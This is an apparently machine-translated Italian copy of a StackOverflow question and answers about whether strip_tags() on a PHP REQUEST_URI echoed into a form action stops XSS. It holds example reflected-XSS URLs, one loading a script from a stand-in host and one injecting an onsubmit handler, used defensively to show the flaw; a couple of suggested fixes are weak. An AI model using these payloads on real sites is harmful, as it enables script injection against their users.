Ho coperto tutte le basi con sicurezza durante l'eco di una variabile server sulla pagina?

StackOverflow https://stackoverflow.com/questions/613680

  •  03-07-2019
  •  | 
  •  

Domanda

Con i moduli che ho sempre usato

<form method="post" action="<?php echo strip_tags($_SERVER['REQUEST_URI']); ?>">

Per ottenere i miei moduli da inviare a se stessi.

Uso striptags() nel caso in cui qualcuno si colleghi a:

http://www.mysite.com/page-with-form.php?bla="><script src="http://www.nasty.com/super-nasty.js"></script><a href="#

Ho coperto tutte le basi, per proteggermi dagli attacchi XSS, o dovrei usare un approccio più whitelist, diciamo una regex che consenta solo caratteri alfanumerici, barra, punto interrogativo, segno di uguale, parentesi ecc?

Grazie!

È stato utile?

Soluzione

Utilizza htmlspecialchars anziché strip_tags.

Altri suggerimenti

Se vuoi fare riferimento allo stesso schema / host / percorso un'azione semplice = "? " schould è sufficiente. Secondo http://tools.ietf.org/html/rfc3986#section-4.2

relative-ref  = relative-part [ "?" query ] [ "#" fragment ]

      relative-part = "//" authority path-abempty
                    / path-absolute
                    / path-noscheme
                    / path-empty

è un uri relativo valido.

Invia un modulo a se stesso inviandolo a questo:

$_SERVER["PHP_SELF"]

Quella variabile globale genererà la pagina corrente. A meno che non ci sia un motivo per cui hai bisogno dell'intera stringa di query con essa?

Modifica

Poiché, come sottolineato da VolkerK nei commenti, anche PHP_SELF è vulnerabile, puoi scrivere la tua piccola variabile in base a <=> ed esplodere il resto dell'URI che sai non fa parte della tua pagina . Qualcosa del genere:

$file_ext = '.php'; //knowing what file extension your URI is
$page_on = $_SERVER["PHP_SELF"]; //grab this page, with all that junk
$page_huh = explode($file_ext, $page_on); //blow it apart based on file ext
$page_on = $page_huh[0].$file_ext; //attach the leg back onto the URI

echo $page_on;

Se il tuo striptags() rimuove solo i tag (caratteri tra " < " e " > " comprese le parentesi angolari) , qualcuno può ancora iniettare javascript:

http://www.mysite.com/page-with-form.php?bla=" onsubmit="return function(){ /*nasty code here*/ }()" style="

Migliore whitelist di tutti i possibili meta-caratteri in HTML, Javascript e CSS (ovvero parentesi angolari, parentesi, parentesi graffe, punti e virgola, virgolette doppie, virgolette singole, ecc.)

Se si desidera inviare un modulo a se stesso, lasciare vuota l'azione ad es.

<form action="" method="POST">
...
</form>
Autorizzato sotto: CC-BY-SA insieme a attribuzione
Non affiliato a StackOverflow
scroll top